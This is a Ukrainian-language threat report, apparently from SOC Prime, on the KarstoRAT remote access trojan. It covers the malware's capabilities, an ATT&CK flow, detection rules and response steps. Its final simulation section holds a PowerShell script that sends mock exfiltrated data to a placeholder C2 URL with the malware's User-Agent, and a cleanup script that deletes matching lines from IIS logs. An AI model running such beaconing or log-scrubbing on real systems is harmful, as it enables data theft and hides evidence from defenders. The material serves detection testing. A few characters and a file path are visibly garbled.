SOC Prime Bias: Medium

30 Apr 2026 17:25

Ближчий погляд на новий і непомітний шкідливий ПЗ KarstoRAT

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Ближчий погляд на новий і непомітний шкідливий ПЗ KarstoRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

KarstoRAT – це нещодавно виявлений троян віддаленого доступу, що здатен збирати інформацію про систему, захоплювати аудіо- та відеопотоки з вебкамери, робити знімки екрану, вести реєстрацію натискань клавіш та красти токени автентифікації. Зловмисне програмне забезпечення підтримує стійкість, взаємодіє з командним сервером через HTTP за допомогою унікального користувацького агента та може отримувати додаткові корисні навантаження для подальших дій. Також містить функції, що порушують роботу, включаючи інверсію екрану та примусове відтворення аудіо.

Розслідування

Відділ SpiderLabs компанії LevelBlue досліджував потік виконання KarstoRAT, командно-керовані комунікації, процедури ексфільтрації та методи стійкості. У звіті виділяється нескінченна двосекундна петля, яка використовується для утримання зловмисного ПЗ у робочому стані, і описуються STARTUP_ON and STARTUP_OFF команди, що контролюють автоматичний запуск. Також дослідники задокументували здатність зловмисного ПЗ змінювати шпалери робочого столу та самостійно видалятися при команды.

Пом’якшення

Зусилля з виявлення повинні зосереджуватися на унікальному користувацькому агенті HTTP зловмисника, підозрілих реєстраційних записах, що стосуються запуску, та аномальній поведінці петлі процесу. Також захист кінцевих точок повинен відстежувати безфайлову активність, описану у звіті, та блокувати невідомі бінарні файли, доставлені через підробний маркетплейс Roblox.

Реагування

Якщо KarstoRAT виявлено, ізолюйте постраждалий пристрій, збережіть судово-медичні докази, включаючи HTTP-трафік та артефакти запуску, і видаліть всі механізми стійкості. Організації повинні змінити скомпрометовані облікові дані та продовжити моніторинг на наявність додаткових завантажених корисних навантажень після первинного компромета.

"graph TB %% Class definitions classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Node definitions action_user_execution["<b>Дія</b> – <b>T1204.001 Виконання користувачем: Шкідливе посилання</b><br/>Жертва натискає на підробне посилання на маркетплейс Roblox (соціальна інженерія)."] class action_user_execution action persistence_boot_script["<b>Стійкість</b> – <b>T1037 Скрипти ініціалізації завантаження чи входу</b><br/>Зловмисне програмне забезпечення реєструє себе в STARTUP_ON/OFF для автоматичного запуску при завантаженні чи вході."] class persistence_boot_script persistence credential_keylogging["<b>Доступ до облікових даних</b> – <b>T1056.001 Захоплення вводу: Клавіатурний шпигун</b><br/>Зловмисне програмне забезпечення записує натискання клавіш для захоплення облікових даних та іншої конфіденційної інформації."] class credential_keylogging credential collection_screen_capture["<b>Збирання</b> – <b>T1113 Захоплення екрану</b><br/>Зловмисне програмне забезпечення періодично робить знімки екрану робочого столу жертви."] class collection_screen_capture collection collection_audio_capture["<b>Збирання</b> – <b>T1123 Захоплення аудіо</b><br/>Зловмисне програмне забезпечення записує аудіо з мікрофону системи."] class collection_audio_capture collection collection_video_capture["<b>Збирання</b> – <b>T1125 Захоплення відео</b><br/>Зловмисне програмне забезпечення отримує доступ до вебкамери для запису відео жертви."] class collection_video_capture collection discovery_process["<b>Відкриття</b> – <b>T1057 Відкриття процесів</b><br/>Зловмисне програмне забезпечення перераховує запущені процеси для ідентифікації засобів безпеки або цінних додатків."] class discovery_process discovery discovery_hardware["<b>Відкриття</b> – <b>T1592.001 Збирання інформації про систему жертви: Аппаратне забезпечення</b><br/>Зловмисне програмне забезпечення збирає деталі про апаратне забезпечення, такі як CPU, RAM, і GPU."] class discovery_hardware discovery discovery_software["<b>Відкриття</b> – <b>T1592.002 Збирання інформації про систему жертви: Програмне забезпечення</b><br/>Зловмисне програмне забезпечення збирає інформацію про версії встановленого програмного забезпечення та патчів."] class discovery_software discovery discovery_firmware["<b>Відкриття</b> – <b>T1592.003 Збирання інформації про систему жертви: Мікропрограми</b><br/>Зловмисне програмне забезпечення витягає інформацію про мікропрограму та BIOS."] class discovery_firmware discovery discovery_config["<b>Відкриття</b> – <b>T1592.004 Збирання інформації про систему жертви: Налаштування клієнта</b><br/>Зловмисне програмне забезпечення збирає налаштування конфігурації, такі як мова, часовий пояс та параметри мережі."] class discovery_config discovery impact_remote_desktop["<b>Вплив</b> – <b>T1219.002 Програмне забезпечення віддаленого робочого столу</b><br/>Зловмисне програмне забезпечення використовує можливості віддаленого робочого столу для зміни фону робочого столу, перевертання екрана та зміни кнопок миші."] class impact_remote_desktop impact defense_self_destruct["<b>Ухилення від захисту</b> – <b>T1027.005 Видалення індикаторів з інструментів</b><br/>Зловмисне програмне забезпечення самоу202Dзнищується та видаляє свої файли для стирання доказів."] class defense_self_destruct defense %% Connections action_user_execution –>|призводить до| persistence_boot_script persistence_boot_script –>|дозволяє| credential_keylogging credential_keylogging –>|дозволяє| collection_screen_capture collection_screen_capture –>|дозволяє| collection_audio_capture collection_audio_capture –>|дозволяє| collection_video_capture collection_video_capture –>|дозволяє| discovery_process discovery_process –>|призводить до| discovery_hardware discovery_hardware –>|призводить до| discovery_software discovery_software –>|призводить до| discovery_firmware discovery_firmware –>|призводить до| discovery_config discovery_config –>|дозволяє| impact_remote_desktop impact_remote_desktop –>|спрацьовує| defense_self_destruct "

Потік атаки

Виявлення

Ескалація привілеїв (обхід UAC) у FodHelper (через подію реєстру)

Команда SOC Prime
30 квітня 2026

Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через подію реєстру)

Команда SOC Prime
30 квітня 2026

Можливе використання Schtasks або AT для стійкості (через cmdline)

Команда SOC Prime
30 квітня 2026

Можливе використання PING для відтермінування виконання (через cmdline)

Команда SOC Prime
30 квітня 2026

Підозрілі бінарні файли/скрипти в місці автозапуску (через file_event)

Команда SOC Prime
30 квітня 2026

Можлива спроба комунікації з доменами для пошуку IP (через dns)

Команда SOC Prime
30 квітня 2026

Можлива служба тунелювання портів (через dns)

Команда SOC Prime
30 квітня 2026

Виявлення комунікації KarstoRAT з C2 [Windows Network Connection]

Правила ІІ від SOC Prime
30 квітня 2026

Виявлення активностей зловмисника KarstoRAT [Windows Process Creation]

Правила ІІ від SOC Prime
30 квітня 2026

Імітація виконання

Передумова: Телеметричний та базовий перевірка повинна була пройденути.

Обґрунтування: Цей розділ детально описує точне виконання прийому супротивника (TTP), призначене для виклику правила виявлення. Команди та оповідь ПОВИННІ безпосередньо відповідати виявленим TTPs і прагнути згенерувати точну телеметрію, очікувану логікою виявлення.

  • Опис нападу та команди:
    Зловмисник отримав точку опори в мережі жертви і прагне встановити командно-керований канал для KarstoRAT. Для злиття з легітимним трафіком зловмисне програмне забезпечення використовує жорстко закодований рядок User-Agent “SecurityNotifier”. Зловмисник запускає однострічковий PowerShell на скомпрометованому хості, що здійснює HTTP POST-запит до сервера C2, вкладаючи заголовок UA. Запит включає невелике JSON-навантаження, яке імітує ексфільтровані дані, що є достатнім для виклику правила sigma.

  • Скрипт регресійного тесту:

    # Імітація C2 KarstoRAT – PowerShell
    $c2Url = "http://<webserver>/karsto_c2"
    $payload = @{
        host = $env:COMPUTERNAME
        data = "sample exfiltrated data"
    } | ConvertTo-Json
    
    $headers = @{
        "User-Agent" = "SecurityNotifier"
        "Content-Type" = "application/json"
    }
    
    try {
        Invoke-WebRequest -Uri $c2Url `
                          -Method POST `
                          -Headers $headers `
                          -Body $payload `
                          -UseBasicParsing
        Write-Host "C2-запит відправлено."
    } catch {
        Write-Error "Не вдалося відправити C2-запит: $_"
    }
  • Команди очищення:

    # Видалення згенерованого запиту з журналів IIS (потребує прав адміністратора)
    $logPath = "C:inetpublogsLogFilesW3SVC1"
    Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object {
        (Get-Content $_.FullName) |
            Where-Object { $_ -notmatch "SecurityNotifier" } |
            Set-Content $_.FullName
    }
    Write-Host "Журнали очищено."